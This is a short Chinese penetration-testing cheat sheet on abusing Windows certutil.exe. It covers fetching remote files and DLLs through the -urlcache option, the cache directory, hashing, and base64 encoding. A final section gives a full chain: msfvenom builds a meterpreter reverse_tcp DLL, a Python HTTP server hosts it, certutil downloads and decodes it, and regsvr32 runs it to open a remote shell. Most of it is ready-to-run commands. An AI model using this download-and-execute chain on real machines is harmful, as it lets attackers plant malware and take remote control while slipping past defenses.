certutil简介
- 用于证书管理
- 支持
xp-win10
- 更多操作说明见
https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
渗透测试中的应用
-
保存在当前路径,文件名称同
URL
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
-
保存在当前路径,指定保存文件名称
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
-
保存在缓存目录,名称随机
缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
-
支持保存二进制文件
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
注:使用downloader默认在缓存目录位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本
-
清除下载文件副本
直接删除缓存目录对应文件 certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete 查看缓存项目:certutil.exe -urlcache *
简单测试
-
计算文件hash
certutil.exe -hashfile msg.dll
-
SHA256:
certutil.exe -hashfile msg.dll SHA256
-
MD5:
certutil.exe -hashfile msg.dll MD5
-
base64编码
CertUtil -encode InFile OutFile
-
base64解码
CertUtil -decode InFile OutFile
注:编码后的文件会添加两处标识信息:
文件头:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
msfconsole上线
-
生成
payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.137 lport=4444 -f dll > dll.txt python -m SimpleHTTPServer 8080
-
执行下载命令
certutil -urlcache -split -f http://192.168.159.137:8080/dll.txt dll.txt | certutil -encode dll.txt edll.txt Certutil -decode .\edll.txt exploit.dll regsvr32 /s /u .\exploit.dll
-
添加信任上线
引用
三号学生师傅文章:https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/
二向箔安全学院
https://zhuanlan.zhihu.com/p/107819644